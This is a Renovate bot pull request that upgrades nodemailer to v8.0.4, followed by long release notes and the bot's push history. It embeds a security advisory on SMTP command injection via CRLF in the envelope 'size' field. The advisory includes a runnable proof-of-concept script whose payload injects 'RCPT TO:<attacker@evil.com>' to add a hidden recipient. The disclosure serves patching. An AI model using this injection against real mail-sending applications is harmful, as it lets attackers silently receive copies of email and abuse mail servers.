Skip to content

Update dependency nodemailer to v8 [SECURITY]#97

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-nodemailer-vulnerability
Open

Update dependency nodemailer to v8 [SECURITY]#97
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-nodemailer-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Oct 7, 2025

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) ^6.7.5^8.0.4 age confidence

GitHub Vulnerability Alerts

GHSA-c7w3-x93f-qmm8

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.


Release Notes

nodemailer/nodemailer (nodemailer)

v8.0.4

Compare Source

Bug Fixes
  • sanitize envelope size to prevent SMTP command injection (2d7b971)

v8.0.3

Compare Source

Bug Fixes
  • clean up addressparser and fix group name fallback producing undefined (9d55877)
  • fix cookie bugs, remove dead code, and improve hot-path efficiency (e8c8b92)
  • refactor smtp-connection for clarity and add Node.js 6 syntax compat test (c5b48ea)
  • remove familySupportCache that broke DNS resolution tests (c803d90)

v8.0.2

Compare Source

Bug Fixes
  • merge fragmented display names with unquoted commas in addressparser (fe27f7f)

v8.0.1

Compare Source

Bug Fixes
  • absorb TLS errors during socket teardown (7f8dde4)
  • absorb TLS errors during socket teardown (381f628)
  • Add Gmail Workspace service configuration (#​1787) (dc97ede)

v8.0.0

Compare Source

⚠ BREAKING CHANGES
  • Error code 'NoAuth' renamed to 'ENOAUTH'
Bug Fixes
  • add connection fallback to alternative DNS addresses (e726d6f)
  • centralize and standardize error codes (45062ce)
  • harden DNS fallback against race conditions and cleanup issues (4fa3c63)
  • improve socket cleanup to prevent potential memory leaks (6069fdc)

v7.0.13

Compare Source

Bug Fixes
  • downgrade transient connection error logs to warn level (4c041db)

v7.0.12

Compare Source

Bug Fixes
  • added support for REQUIRETLS (#​1793) (053ce6a)
  • use 8bit encoding for message/rfc822 attachments (adf8611)

v7.0.11

Compare Source

Bug Fixes
  • prevent stack overflow DoS in addressparser with deeply nested groups (b61b9c0)

v7.0.10

Compare Source

Bug Fixes
  • Increase data URI size limit from 100KB to 50MB and preserve content type (28dbf3f)

v7.0.9

Compare Source

Bug Fixes
  • release: Trying to fix release proecess by upgrading Node version in runner (579fce4)

v7.0.7

Compare Source

Bug Fixes
  • addressparser: Fixed addressparser handling of quoted nested email addresses (1150d99)
  • dns: add memory leak prevention for DNS cache (0240d67)
  • linter: Updated eslint and created prettier formatting task (df13b74)
  • refresh expired DNS cache on error (#​1759) (ea0fc5a)
  • resolve linter errors in DNS cache tests (3b8982c)

v7.0.6

Compare Source

Bug Fixes
  • encoder: avoid silent data loss by properly flushing trailing base64 (#​1747) (01ae76f)
  • handle multiple XOAUTH2 token requests correctly (#​1754) (dbe0028)
  • ReDoS vulnerability in parseDataURI and _processDataUrl (#​1755) (90b3e24)

v7.0.5

Compare Source

Bug Fixes
  • updated well known delivery service list (fa2724b)

v7.0.4

Compare Source

Bug Fixes
  • pools: Emit 'clear' once transporter is idle and all connections are closed (839e286)
  • smtp-connection: jsdoc public annotation for socket (#​1741) (c45c84f)
  • well-known-services: Added AliyunQiye (bb9e6da)

v7.0.3

Compare Source

Bug Fixes
  • attachments: Set the default transfer encoding for message/rfc822 attachments as '7bit' (007d5f3)

v7.0.2

Compare Source

Bug Fixes
  • ses: Fixed structured from header (faa9a5e)

v7.0.1

Compare Source

Bug Fixes
  • ses: Use formatted FromEmailAddress for SES emails (821cd09)

v7.0.0

Compare Source

⚠ BREAKING CHANGES
  • SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features
Features
  • SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features (15db667)

v6.10.1

Compare Source

Bug Fixes

v6.10.0

Compare Source

Features
Bug Fixes
  • proxy: Set error and timeout errors for proxied sockets (aa0c99c)

v6.9.16

Compare Source

Bug Fixes
  • addressparser: Correctly detect if user local part is attached to domain part (f2096c5)

v6.9.15

Compare Source

Bug Fixes

v6.9.14

Compare Source

Bug Fixes
  • api: Added support for Ethereal authentication (56b2205)
  • services.json: Add Email Services Provider Feishu Mail (CN) (#​1648) (e9e9ecc)
  • services.json: update Mailtrap host and port in well known (#​1652) (fc2c9ea)
  • well-known-services: Add Loopia in well known services (#​1655) (21a28a1)

v6.9.13

Compare Source

Bug Fixes
  • tls: Ensure servername for SMTP (d66fdd3)

v6.9.12

Compare Source

Bug Fixes
  • message-generation: Escape single quote in address names (4ae5fad)

v6.9.11

Compare Source

Bug Fixes
  • headers: Ensure that Content-type is the bottom header (c7cf97e)

v6.9.10

Compare Source

Bug Fixes
  • data-uri: Do not use regular expressions for parsing data URI schemes (12e65e9)
  • data-uri: Moved all data-uri regexes to use the non-regex parseDataUri method (edd5dfe)

v6.9.9

Compare Source

Bug Fixes
  • security: Fix issues described in GHSA-9h6g-pr28-7cqp. Do not use eternal matching pattern if only a few occurences are expected (dd8f5e8)
  • tests: Use native node test runner, added code coverage support, removed grunt (#​1604) (be45c1b)

v6.9.8

Compare Source

Bug Fixes
  • punycode: do not use native punycode module (b4d0e0c)

v6.9.7

Compare Source

Bug Fixes
  • customAuth: Do not require user and pass to be set for custom authentication schemes (fixes #​1584) (41d482c)

v6.9.6

Compare Source

Bug Fixes
  • inline: Use 'inline' as the default Content Dispostion value for embedded images (db32c93)
  • tests: Removed Node v12 from test matrix as it is not compatible with the test framework anymore (7fe0a60)

v6.9.5

Compare Source

Bug Fixes
  • license: Updated license year (da4744e)

v6.9.4

Compare Source

  • Renamed SendinBlue to Brevo

v6.9.3

Compare Source

  • Specified license identifier (was defined as MIT, actual value MIT-0)
  • If SMTP server disconnects with a message, process it and include as part of the response error

v6.9.2

Compare Source

  • Fix uncaught exception on invalid attachment content payload

v6.9.1

Compare Source

Bug Fixes
  • addressparser: Correctly detect if user local part is attached to domain part (f2096c5)

v6.9.0

Compare Source

  • Do not throw if failed to resolve IPv4 addresses
  • Include EHLO extensions in the send response
  • fix sendMail function: callback should be optional

v6.8.0

Compare Source

  • Add DNS timeout (huksley)
  • add dns.REFUSED (lucagianfelici)

v6.7.8

Compare Source

  • Allow to use multiple Reply-To addresses

v6.7.7

Compare Source

  • Resolver fixes

v6.7.6

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from 72b478e to dcd10d7 Compare October 21, 2025 20:42
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from a5a6253 to ecc9560 Compare November 11, 2025 03:36
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from 4a69455 to 33f1054 Compare November 19, 2025 01:12
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 3 times, most recently from 476c528 to 7424caa Compare December 3, 2025 21:31
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 4 times, most recently from de4b96b to 7d2413b Compare January 1, 2026 06:12
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from 731b23d to 5a48f74 Compare January 8, 2026 21:36
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from 7fa2038 to fa28aa4 Compare January 19, 2026 21:23
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from 2d9d2c1 to b5eb8c5 Compare February 3, 2026 01:09
@renovate renovate bot changed the title Update dependency nodemailer to v7 [SECURITY] Update dependency nodemailer to v8 [SECURITY] Feb 12, 2026
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch from b5eb8c5 to 766b60f Compare February 12, 2026 18:10
@renovate renovate bot changed the title Update dependency nodemailer to v8 [SECURITY] Update dependency nodemailer to v7 [SECURITY] Feb 12, 2026
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from 079a43b to 36c905e Compare February 16, 2026 14:48
@renovate renovate bot changed the title Update dependency nodemailer to v7 [SECURITY] Update dependency nodemailer to v8 [SECURITY] Feb 16, 2026
@renovate renovate bot changed the title Update dependency nodemailer to v8 [SECURITY] Update dependency nodemailer to v7 [SECURITY] Feb 16, 2026
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from f781422 to 064d972 Compare February 17, 2026 16:41
@renovate renovate bot changed the title Update dependency nodemailer to v7 [SECURITY] Update dependency nodemailer to v8 [SECURITY] Feb 17, 2026
@renovate renovate bot changed the title Update dependency nodemailer to v8 [SECURITY] Update dependency nodemailer to v7 [SECURITY] Feb 17, 2026
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 064d972 to 47bbc99 Compare February 17, 2026 22:28
@renovate renovate bot changed the title Update dependency nodemailer to v7 [SECURITY] Update dependency nodemailer to v8 [SECURITY] Mar 5, 2026
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 47bbc99 to 5e4b554 Compare March 5, 2026 20:13
@renovate renovate bot changed the title Update dependency nodemailer to v8 [SECURITY] Update dependency nodemailer to v7 [SECURITY] Mar 8, 2026
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 5e4b554 to a938103 Compare March 8, 2026 09:59
@renovate renovate bot changed the title Update dependency nodemailer to v7 [SECURITY] Update dependency nodemailer to v8 [SECURITY] Mar 13, 2026
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from 6ad9a6c to 5da780e Compare March 13, 2026 22:13
@renovate renovate bot changed the title Update dependency nodemailer to v8 [SECURITY] Update dependency nodemailer to v7 [SECURITY] Mar 13, 2026
@renovate renovate bot changed the title Update dependency nodemailer to v7 [SECURITY] Update dependency nodemailer to v8 [SECURITY] Mar 26, 2026
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from d6eb9d1 to efe05ac Compare March 26, 2026 22:07
@renovate renovate bot changed the title Update dependency nodemailer to v8 [SECURITY] Update dependency nodemailer to v7 [SECURITY] Mar 26, 2026
@renovate renovate bot changed the title Update dependency nodemailer to v7 [SECURITY] Update dependency nodemailer to v7 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
@renovate renovate bot deleted the renovate/npm-nodemailer-vulnerability branch March 27, 2026 01:46
@renovate renovate bot changed the title Update dependency nodemailer to v7 [SECURITY] - autoclosed Update dependency nodemailer to v8 [SECURITY] Mar 27, 2026
@renovate renovate bot reopened this Mar 27, 2026
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch 3 times, most recently from b5b660c to a92b868 Compare March 27, 2026 14:03
@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch from a92b868 to 27a21c3 Compare March 27, 2026 18:09
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants